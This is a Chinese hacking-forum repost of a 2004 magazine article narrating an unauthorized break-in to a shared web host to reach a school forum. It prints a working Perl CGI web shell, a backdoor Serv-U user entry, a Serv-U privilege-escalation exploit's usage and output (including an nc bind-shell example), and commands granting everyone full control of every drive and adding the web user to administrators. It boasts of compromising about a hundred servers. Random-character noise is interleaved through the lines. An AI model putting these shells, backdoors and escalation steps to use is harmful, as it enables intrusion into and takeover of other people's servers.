找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2094|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击
3 j$ Q. Q9 B/ U本文作者:angel+ Y. q% D5 t( i2 z+ s
文章性质:原创
* N: a' e) S3 \/ n3 ]- a发布日期:2004-11-09
. t/ {: L" [" e6 W, y& {7 [* _注意:) S$ @9 b* T* p% J- N
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
4 C( o, |5 P. t: H2 }3 U% b本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。; u) r' c2 q, A9 x! H7 y
8 u* X$ N3 l# y& Y) J$ F' \
  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 6 Y# J  i9 i2 [

( e4 p8 o% ?6 W) z3 q6 C  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 * V0 S0 }' r) M: B. R
1 B# V, N1 V" g6 I+ ?
  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。   ?: R8 Z1 C/ ?' Z' U" y
0 |0 I& r! W! O0 b2 B
  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
8 q  s1 y2 T, a# q4 [  {
# R' v0 l; ]. D( F  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
# W) U" H+ w4 h  M0 X1 Q1 l1 p+ \8 S' O5 Z8 J/ V5 d, {6 w9 K% ~
  没有目的的跳转目录着……
4 p! L8 o% I: K8 B8 _8 f5 s  B9 I5 y3 T1 L( K  q
  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
& r  V, l# E3 Y# ~* v7 _, |* \& M3 }" ]: _8 A
  结束了吗?不,我试着 FTP 一下:
7 ^8 d2 `8 E9 M8 h) g7 B' h# y4 B% `0 g5 d9 G' a
Microsoft Windows 2000 [Version 5.00.2195]
5 A4 ?+ a( W7 e5 K3 T(C) 版权所有 1985-2000 Microsoft Corp. 7 i' h; Q! i- b; e
& C7 O* i1 K( A
C:\Documents and Settings\Administrator>ftp www.school.com
# _$ J/ }# `4 YConnected to www. school.com.
* X# [; @. ?% |5 k/ ~( g220 Welcome to FTP Server... ! [% L5 p4 l6 U# y
User (www.bjtrq.com:(none)): ' S; s9 w: x; m% \
331 User name okay, need password. ( G  n# [# r9 Y% Y3 |3 X
Password: $ M' d8 z! I- w9 B1 m2 `4 v
530 Not logged in.
6 j& \: S2 Y1 [Login failed.
! U- O3 U0 v8 nftp> bye
( {* O$ s! F3 e8 B- F221 Goodbye!
1 \/ T- I: V. j1 }% W8 {4 L, z # x: T$ }( L: d$ o
" B3 {$ C: |$ v! l8 _
  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… 5 C8 @: {, w( l" V* C% c
8 O; j( o' [) w! M+ Q, |6 _4 v) {
  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 / l' I+ ^" K5 C# |
9 p9 ]& d9 u% p' y# w+ o; c
Application Data& K, N# s1 O9 _  G6 a
Documents
; y: A5 |8 o8 [DRM
0 F( I1 B) |6 V8 V0 T& w$ ]" [Favorites4 ?5 G  p5 i' l) }
Templates
: h: H" v" ]- R「开始」菜单( q0 Z/ q( r- d, Z& _+ ?" v* M) j
桌面" {# N/ [4 t+ T" x) z- z
1 B9 Z# n5 N) Z* `' e# ~
5 L, s6 B3 S* K0 h% i
  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
. [! W/ q# R/ ~$ Q. _$ F5 K& O' K( i. P3 v' `
ActiveState ActivePerl 5.8
; n6 g: ?2 p+ S. I7 V6 j& w4 Q/ [Administrative Tools0 X! `  }0 H: J$ Q0 W7 A
Deerfield.com: s3 h; I  g" B& O6 z6 w% g) h# @' O
DTemp, z# Q, p; a2 H/ s3 d
IPSentry
& G. j; r" H5 f3 z! }0 hMBM 5
/ L; i. L9 G6 E/ ~. S/ g5 SNetMeter, y- J8 G! C/ ^0 |
Network ICE0 y. Q. R: Y2 r
Persits Software AspEmail
# I; g& o  e( c4 _. oPersits Software AspJpeg: }- J$ Y, j3 r' V) K4 p& U
Serv-U FTP Server
: y3 B* G% A" J; `6 ~Symantec Client Security
2 n/ B2 t, M; R8 dWindows 优化大师
- ]3 H0 n* q1 k/ X9 O5 d. x& R' @  O3 mWinRAR, O  I' X, s0 q" e+ v1 p
启动
, T- o( t8 `$ v) X0 D# h3 p管理工具( v! v" ~! I/ R% S7 ]
附件. ]' O. i/ r/ l9 b7 u7 U7 v# g

) u5 D, ]9 [& Y4 _0 C9 q- R2 H  D
  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
1 g  N  L% J, U& O, r" ^7 \# O, \" J8 `% ~4 C5 M6 a1 M8 L0 l6 z; c
  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
1 {; Y' j5 x: \1 b1 X  K  U3 S5 \
User281=angel|1|0 & p. j' W# ^/ f: ?

. R: A- F( f: Z+ B+ A3 f! b( x' \2 _( g7 K4 m4 `
  然后加上
. W# ]3 r! i2 `' |% E
( a% q$ h$ v$ o- c[USER=angel|1]9 l3 n( x& ?- `# u& p9 h1 V
Password=ng98F85379EA68DBF97BAADCA99B69B805. Q4 I0 {/ g+ B; A4 e5 l+ g. x
HomeDir=D:\websites
1 e( X1 @# w4 R; iRelPaths=1
2 s$ V% f3 t  ]. D$ {) MTimeOut=600
/ P6 P7 `1 h' t/ Z& b' @* x# FMaintenance=System! b$ }3 r5 Q: l
Access1=D:\websites|RWAMELCDP
4 I; F/ n; r4 M1 y' s' V* HSKEYValues=) G1 @5 {& ^7 ]2 H% h' F! B
7 W; f6 M* }/ C$ L; _2 K
1 u4 r$ p8 D# F( u2 D
  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… / m( `, D2 ?+ x. P

% M( e! y! S4 x: @6 J  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 6 |# f. r4 r( A; E" i6 T+ `

. p! I9 N/ H4 v" |! K' F( R  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 6 D5 W6 _4 F, M* L9 x/ H
' h$ Q4 i1 ^0 g7 Q8 D
  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
; w# n6 i" {6 [2 \6 g0 _6 ]6 g  Y& X  N9 t
#!/usr/bin/perl
, z1 z7 {& S) ~  Q5 p  m$ ~7 R7 `binmode(STDOUT);
' N0 n# ^# ^9 s/ U" ~' P! s% Ysyswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);0 P. m6 v/ P) _# Y8 G3 J; n
$_ = $ENV{QUERY_STRING};# a/ A7 G% I* Z1 V; B9 ]' Z
s/%20/ /ig;% N# ?6 {0 i" O8 t
s/%2f/\//ig;! L- g# R  U; [
$execthis = $_;
5 |( H) E7 T* [0 J' ?; c5 Msyswrite(STDOUT, "<HTML><PRE>\r\n", 13);* i4 [2 o4 ]; `9 ]  {
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";3 {" S- o1 d" ]5 S6 |
system($execthis);  ?& U5 r4 g% e. W4 E' e" K- \
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);+ X! X. T' p% c; O3 A
close(STDERR);
: D% \- e2 ?7 ^, U: iclose(STDOUT);' F; ?9 i8 J8 ]; ?, g4 B0 D
exit;
  G3 ]- L0 l/ C0 W; H2 g+ g & B" _: F4 b. J5 S6 m0 j
: W7 B4 L9 S; h. _' D1 u
  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! 6 {3 s' N/ m3 R2 p& @1 m

" s. l. d# n5 C: Z6 `% d  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
, b1 a: n0 z  N; E1 G3 x  Z1 q/ L7 s
http://anyhost//cmd.pl?d:\user\bin\su.exe
+ O, E; H( e  n$ }; D3 @
% h" m* p. j4 E$ m% Q
# m" S! M+ ^% Z3 n  返回:
7 C6 b& p! ^; V% B9 e7 R
- N8 o" y3 V& U) o) ]Serv-u >3.x Local Exploit by xiaolu ; }2 i. G/ T' U( J3 w

' h) ?) K. P) t6 U7 \USAGE: serv-u.exe "command" , w7 C3 W/ I  B9 ?+ W6 @

9 o& d' k" F& mExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
4 I- Y! l1 G% ~8 k6 N! b/ G 9 z) c6 P( q6 B
- R' w5 \- l* \" x0 A2 X
  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: . P1 L* {; @3 u, \' h& B9 c
( y2 T' [- X+ }, L
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" ' I) ~& l1 C- |1 ~8 |$ Q1 R1 ^8 O0 G
+ H6 |" v9 Q% j% k
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" 1 q3 Z; j. u6 R6 J

" _& u% Y. i& H" M% Nhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
1 z: ~0 U0 b) d0 r. m5 t- {9 D, O4 O) {1 R( m8 K# r! M8 r: B, y
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" 1 m- [9 p0 M' r9 a+ ?* g

) C. u  T- ~8 i" b6 D% Q- U
9 c' |" i' E" t% h  u7 @( _2 b  返回下面的信息,就表示成功了!!!
" Z5 |1 [- ^/ a
( B/ j4 Q5 U' M8 T% {) y/ Q% JServ-u >3.x Local Exploit by xiaolu
  E' y0 ^0 }3 n, t, P- v8 S1 q
<220 Serv-U FTP Server v5.2 for WinSock ready...
- j7 k/ G+ U# L. x4 j
% T5 ]7 E# C* P" G9 P: n>USER LocalAdministrator 1 b+ m, r$ n( p- ]8 x9 L
- g9 B' ], o7 j# q" Y. i" J3 X' u
<331 User name okay, need password. 7 k; d5 p5 p* C* Q  E( V$ _

  ]4 a: f( Y) i: O3 H******************************************************
+ ~4 O# Y8 F. U& L. V3 }: s' ~, s0 Y5 p8 J) p( A! L$ h, B0 G' r
>PASS #l@$ak#.lk;0@P
; ]$ c3 f+ O+ ]4 D8 b+ Q4 p& H7 f4 H- c1 q! A6 k' L4 l0 O# N
<230 User logged in, proceed.
4 p: K6 r. m% b: j+ s3 h
" M0 T2 |9 s" c, z, O****************************************************** + W& G+ Y( S. R) @& v" n0 ]
8 @: @( |7 P7 Z
>SITE MAINTENANCE
+ X: C7 m8 T8 g& e
2 i) c0 E% b4 |1 v" e, g****************************************************** 3 w3 f" e* R5 ^1 [3 @1 R) D# s

" p& P/ C& w" n' N7 s2 ~[+] Creating New Domain... 2 `( b( g* O) `% P9 O2 |9 `

+ [. Y2 b/ }; H3 q- y<200-DomainID=2
$ `& F' I% T* c; @
% s& L" A+ J3 J( R<220 Domain settings saved
( Z' g( |/ T" [2 \! W. i* O+ L; w) N
****************************************************** : l' b7 L) @; u- P; d7 q
! G! u/ H6 k( q) v
[+] Domain xl:2 Created # }6 u' A3 B. o
9 q( Q! |& r% l6 }& Q; b2 O
[+] Creating Evil User ; M+ |% K3 u3 H
5 F) [& {! d( N  _1 e
<200-User=xl
2 A# f& M. [# M7 r) }
+ M5 \: C/ x6 [. T  g8 }, D200 User settings saved
+ T! I2 `+ _! A
- o  u. x! g" Y- `& t******************************************************
' l$ q  s# p" m8 S, `# e/ v1 a0 z! |" r) F3 E5 V/ M
[+] Now Exploiting...
! [1 w" ^1 l3 W
9 U7 |7 Y/ Z9 {% ^>USER xl 1 t' Y# t9 h) `$ T' H& |- p/ X

! S0 y" v2 C$ n: V* ?<331 User name okay, need password. 8 M* j8 |- X0 I1 n
7 B3 z; o+ W; F- `% y- p0 p
******************************************************
- a: m7 \; t/ _- ^) S
8 p& b6 N6 r' R4 O>PASS 111111 - o0 d9 }3 ]( c+ N# [
3 ]2 o' M/ _/ l# z
<230 User logged in, proceed.
9 O4 D1 S& j4 x* I9 P
2 f" F1 A/ q9 \$ {% Z8 s8 O******************************************************
, O& ?* K. A" ~
: W' f; |7 n! |) d: H[+] Now Executing: cacls.exe c: /E /T /G everyone:F ! D5 o5 Q% X) Z7 v) d
! F. a; w" H" V6 E) A6 N
<220 Domain deleted * g  F0 V6 h$ U

# c9 c# C3 p6 N  l******************************************************
( D5 J; _4 P" b2 c1 ]1 s! J4 S - `: C. C4 |5 }6 K: x
$ a; L; g! Y0 |6 x3 G
  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
4 s. Q1 m+ A, v* b3 T! x
  x& S& K3 e+ r8 b( Bhttp://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
6 z+ n2 ~# @3 L4 P% w4 h% t - G2 y0 Y8 \6 d; b
4 {# r) k# h$ v
  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 - ?9 N# s/ L3 E0 j4 t

  Q' ^7 z, }9 X. Y) |# k8 h7 T  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。( G8 v8 z1 h0 }7 I! G' V% w

, Q" [$ y! H: w: t9 z  : n+ r# p. P  p" Z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表